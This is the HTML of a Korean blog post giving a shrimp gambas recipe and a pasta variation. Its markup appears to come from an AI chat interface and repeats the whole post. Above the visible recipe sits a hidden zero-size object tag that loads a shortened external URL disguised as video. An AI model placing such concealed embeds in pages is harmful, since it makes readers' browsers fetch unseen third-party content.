<![CDATA[
<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/dYis" type="video/mp4"></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:32">새우 감바스, 집에서 간편하게 즐기는 스페인 요리!</h2><p data-sourcepos="3:1-3:95"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a9e91d2152552b80&quot;,&quot;c_ecb7822564937d12&quot;,null,&quot;rc_81b9e3b84ad60d58&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6940538"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="새우 감바스 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTf8092cQnHFI2IVIMR_UTjVvNMXu3Fz2wDFVsOaJvasfO_GDqUvNy72l9DROYS"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6940538" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a9e91d2152552b80&quot;,&quot;c_ecb7822564937d12&quot;,null,&quot;rc_81b9e3b84ad60d58&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 새우 감바스 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span>: 뜨겁게 달궈진 올리브 오일에 새우와 마늘이 풍덩! 보기만 해도 군침이 도는 새우 감바스, 집에서도 간편하게 만들어 드셔 보세요.</p><h3 data-sourcepos="5:1-5:14">새우 감바스 레시피</h3><p data-sourcepos="7:1-7:7"><strong>재료:</strong></p><ul data-sourcepos="9:1-15:0">
<li data-sourcepos="9:1-9:26">새우: 300g (껍질과 내장을 제거한 것)</li>
<li data-sourcepos="10:1-10:9">마늘: 10쪽</li>
<li data-sourcepos="11:1-11:14">올리브 오일: 1/2컵</li>
<li data-sourcepos="12:1-12:11">페페론치노: 2개</li>
<li data-sourcepos="13:1-13:12">소금, 후추: 약간</li>
<li data-sourcepos="14:1-15:0">바게트 빵</li>
</ul><p data-sourcepos="16:1-16:10"><strong>만드는 법:</strong></p><ol data-sourcepos="18:1-23:0">
<li data-sourcepos="18:1-18:86"><strong>준비:</strong> 새우는 깨끗하게 씻어 물기를 제거하고 소금, 후추로 간을 합니다. 마늘은 편으로 썰고, 페페론치노는 취향에 따라 잘게 부숴 준비합니다.</li>
<li data-sourcepos="19:1-19:50"><strong>올리브 오일 달구기:</strong> 넓고 깊은 팬에 올리브 오일을 두르고 중불에서 달굽니다.</li>
<li data-sourcepos="20:1-20:73"><strong>마늘 볶기:</strong> 오일이 달궈지면 마늘을 넣고 노릇하게 볶아줍니다. 마늘의 향이 올라오면 페페론치노를 넣고 살짝 볶아줍니다.</li>
<li data-sourcepos="21:1-21:78"><strong>새우 굽기:</strong> 마늘 향이 충분히 올라오면 새우를 넣고 앞뒤로 노릇하게 익혀줍니다. 새우가 붉게 변하면 소금, 후추로 간을 합니다.</li>
<li data-sourcepos="22:1-23:0"><strong>마무리:</strong> 새우가 완전히 익으면 불을 끄고 바게트 빵을 곁들여 뜨겁게 먹습니다.</li>
</ol><p data-sourcepos="24:1-24:28"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a9e91d2152552b80&quot;,&quot;c_ecb7822564937d12&quot;,null,&quot;rc_81b9e3b84ad60d58&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://haemulsa..com/150"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="새우 감바스 만들기 과정 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTaOtiyL8TqwtwkycmWXSUPfvAeTvticPI_VDIB4kU2z4XKVfBc-mrUXay-kgNT"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://haemulsa..com/150" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a9e91d2152552b80&quot;,&quot;c_ecb7822564937d12&quot;,null,&quot;rc_81b9e3b84ad60d58&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcRaRHjBlbATm_E2e4I2TLmaPGfET38wN2Lj2htH__9SBxgCRa_-zZg9Y9R4N0_KHZDeX7KM8Tn_yX-iz9TNlBfnyP8iUK76_v0uzTYugSc"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">haemulsa..com</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 새우 감바스 만들기 과정 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><h3 data-sourcepos="26:1-26:20">감바스 파스타, 색다른 변신!</h3><p data-sourcepos="28:1-28:54"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a9e91d2152552b80&quot;,&quot;c_ecb7822564937d12&quot;,null,&quot;rc_81b9e3b84ad60d58&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6866006"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="감바스 파스타 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcSagQ2mXalThH6fgjofCRCA5wBlmg1Jvw07GIQHuoZofVXARx0zUGr0s5dPKgzu"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6866006" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a9e91d2152552b80&quot;,&quot;c_ecb7822564937d12&quot;,null,&quot;rc_81b9e3b84ad60d58&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 감바스 파스타 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span>: 새우 감바스에 파스타를 넣어 색다른 맛을 즐겨보세요.</p><p data-sourcepos="30:1-30:10"><strong>만드는 법:</strong></p><ol data-sourcepos="32:1-35:0">
<li data-sourcepos="32:1-32:31">새우 감바스를 만드는 과정까지 동일하게 진행합니다.</li>
<li data-sourcepos="33:1-33:36">새우가 익으면 스파게티 면을 넣고 소스와 함께 버무려줍니다.</li>
<li data-sourcepos="34:1-35:0">파슬리 가루를 뿌려 마무리합니다.</li>
</ol><p data-sourcepos="36:1-36:6"><strong>팁:</strong></p><ul data-sourcepos="38:1-42:0">
<li data-sourcepos="38:1-38:43">올리브 오일은 엑스트라 버진 올리브 오일을 사용하면 더욱 풍미가 좋습니다.</li>
<li data-sourcepos="39:1-39:27">새우 대신 다른 해산물을 사용해도 맛있습니다.</li>
<li data-sourcepos="40:1-40:30">매운 맛을 즐기는 분은 페페론치노를 더 넣어주세요.</li>
<li data-sourcepos="41:1-42:0">바게트 빵 대신 다른 빵이나 면을 사용해도 좋습니다.</li>
</ul><h3 data-sourcepos="43:1-43:19">즐거운 요리 시간 되세요!</h3><p data-sourcepos="45:1-45:24"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a9e91d2152552b80&quot;,&quot;c_ecb7822564937d12&quot;,null,&quot;rc_81b9e3b84ad60d58&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.jbpresscenter.com/news/articleView.html?idxno=3600"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="맛있게 먹는 모습 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcSja3SedxengdbqUtJZZxVI485R1k8I9VkFHOk3hOr3E-JhVFB478Y4DfyDKEf3"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://.jbpresscenter.com/news/articleView.html?idxno=3600" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a9e91d2152552b80&quot;,&quot;c_ecb7822564937d12&quot;,null,&quot;rc_81b9e3b84ad60d58&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcTKA2jJ6WtrsfVnduO2ioi97flah6WToUBBmVPRsUWGybwiyP_2ZINRMKvoTi5dpp6gizfQ1jMInWozf9jI5gC7Y9qL-fQ2maqm728gWE0x"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">.jbpresscenter.com</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 맛있게 먹는 모습 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="47:1-47:74">새우 감바스는 간단한 재료로 누구나 쉽게 만들 수 있는 요리입니다. 집에서 직접 만들어 가족과 함께 즐거운 식사 시간을 가져보세요.</p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/dYis" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:32">새우 감바스, 집에서 간편하게 즐기는 스페인 요리!</h2><p data-sourcepos="3:1-3:95"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_a9e91d2152552b80","c_ecb7822564937d12",null,"rc_81b9e3b84ad60d58",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6940538"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="새우 감바스 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTf8092cQnHFI2IVIMR_UTjVvNMXu3Fz2wDFVsOaJvasfO_GDqUvNy72l9DROYS"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6940538" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_a9e91d2152552b80","c_ecb7822564937d12",null,"rc_81b9e3b84ad60d58",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 새우 감바스 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span>: 뜨겁게 달궈진 올리브 오일에 새우와 마늘이 풍덩! 보기만 해도 군침이 도는 새우 감바스, 집에서도 간편하게 만들어 드셔 보세요.</p><h3 data-sourcepos="5:1-5:14">새우 감바스 레시피</h3><p data-sourcepos="7:1-7:7"><strong>재료:</strong></p><ul data-sourcepos="9:1-15:0">
<li data-sourcepos="9:1-9:26">새우: 300g (껍질과 내장을 제거한 것)</li>
<li data-sourcepos="10:1-10:9">마늘: 10쪽</li>
<li data-sourcepos="11:1-11:14">올리브 오일: 1/2컵</li>
<li data-sourcepos="12:1-12:11">페페론치노: 2개</li>
<li data-sourcepos="13:1-13:12">소금, 후추: 약간</li>
<li data-sourcepos="14:1-15:0">바게트 빵</li>
</ul><p data-sourcepos="16:1-16:10"><strong>만드는 법:</strong></p><ol data-sourcepos="18:1-23:0">
<li data-sourcepos="18:1-18:86"><strong>준비:</strong> 새우는 깨끗하게 씻어 물기를 제거하고 소금, 후추로 간을 합니다. 마늘은 편으로 썰고, 페페론치노는 취향에 따라 잘게 부숴 준비합니다.</li>
<li data-sourcepos="19:1-19:50"><strong>올리브 오일 달구기:</strong> 넓고 깊은 팬에 올리브 오일을 두르고 중불에서 달굽니다.</li>
<li data-sourcepos="20:1-20:73"><strong>마늘 볶기:</strong> 오일이 달궈지면 마늘을 넣고 노릇하게 볶아줍니다. 마늘의 향이 올라오면 페페론치노를 넣고 살짝 볶아줍니다.</li>
<li data-sourcepos="21:1-21:78"><strong>새우 굽기:</strong> 마늘 향이 충분히 올라오면 새우를 넣고 앞뒤로 노릇하게 익혀줍니다. 새우가 붉게 변하면 소금, 후추로 간을 합니다.</li>
<li data-sourcepos="22:1-23:0"><strong>마무리:</strong> 새우가 완전히 익으면 불을 끄고 바게트 빵을 곁들여 뜨겁게 먹습니다.</li>
</ol><p data-sourcepos="24:1-24:28"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_a9e91d2152552b80","c_ecb7822564937d12",null,"rc_81b9e3b84ad60d58",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://haemulsa..com/150"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="새우 감바스 만들기 과정 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTaOtiyL8TqwtwkycmWXSUPfvAeTvticPI_VDIB4kU2z4XKVfBc-mrUXay-kgNT"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://haemulsa..com/150" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_a9e91d2152552b80","c_ecb7822564937d12",null,"rc_81b9e3b84ad60d58",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRaRHjBlbATm_E2e4I2TLmaPGfET38wN2Lj2htH__9SBxgCRa_-zZg9Y9R4N0_KHZDeX7KM8Tn_yX-iz9TNlBfnyP8iUK76_v0uzTYugSc"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">haemulsa..com</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 새우 감바스 만들기 과정 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><h3 data-sourcepos="26:1-26:20">감바스 파스타, 색다른 변신!</h3><p data-sourcepos="28:1-28:54"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_a9e91d2152552b80","c_ecb7822564937d12",null,"rc_81b9e3b84ad60d58",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6866006"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="감바스 파스타 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSagQ2mXalThH6fgjofCRCA5wBlmg1Jvw07GIQHuoZofVXARx0zUGr0s5dPKgzu"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6866006" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_a9e91d2152552b80","c_ecb7822564937d12",null,"rc_81b9e3b84ad60d58",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 감바스 파스타 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span>: 새우 감바스에 파스타를 넣어 색다른 맛을 즐겨보세요.</p><p data-sourcepos="30:1-30:10"><strong>만드는 법:</strong></p><ol data-sourcepos="32:1-35:0">
<li data-sourcepos="32:1-32:31">새우 감바스를 만드는 과정까지 동일하게 진행합니다.</li>
<li data-sourcepos="33:1-33:36">새우가 익으면 스파게티 면을 넣고 소스와 함께 버무려줍니다.</li>
<li data-sourcepos="34:1-35:0">파슬리 가루를 뿌려 마무리합니다.</li>
</ol><p data-sourcepos="36:1-36:6"><strong>팁:</strong></p><ul data-sourcepos="38:1-42:0">
<li data-sourcepos="38:1-38:43">올리브 오일은 엑스트라 버진 올리브 오일을 사용하면 더욱 풍미가 좋습니다.</li>
<li data-sourcepos="39:1-39:27">새우 대신 다른 해산물을 사용해도 맛있습니다.</li>
<li data-sourcepos="40:1-40:30">매운 맛을 즐기는 분은 페페론치노를 더 넣어주세요.</li>
<li data-sourcepos="41:1-42:0">바게트 빵 대신 다른 빵이나 면을 사용해도 좋습니다.</li>
</ul><h3 data-sourcepos="43:1-43:19">즐거운 요리 시간 되세요!</h3><p data-sourcepos="45:1-45:24"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_a9e91d2152552b80","c_ecb7822564937d12",null,"rc_81b9e3b84ad60d58",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.jbpresscenter.com/news/articleView.html?idxno=3600"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="맛있게 먹는 모습 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSja3SedxengdbqUtJZZxVI485R1k8I9VkFHOk3hOr3E-JhVFB478Y4DfyDKEf3"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://.jbpresscenter.com/news/articleView.html?idxno=3600" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_a9e91d2152552b80","c_ecb7822564937d12",null,"rc_81b9e3b84ad60d58",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTKA2jJ6WtrsfVnduO2ioi97flah6WToUBBmVPRsUWGybwiyP_2ZINRMKvoTi5dpp6gizfQ1jMInWozf9jI5gC7Y9qL-fQ2maqm728gWE0x"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">.jbpresscenter.com</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 맛있게 먹는 모습 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="47:1-47:74">새우 감바스는 간단한 재료로 누구나 쉽게 만들 수 있는 요리입니다. 집에서 직접 만들어 가족과 함께 즐거운 식사 시간을 가져보세요.</p></div>
</div></div>
<!-- -->
]]>
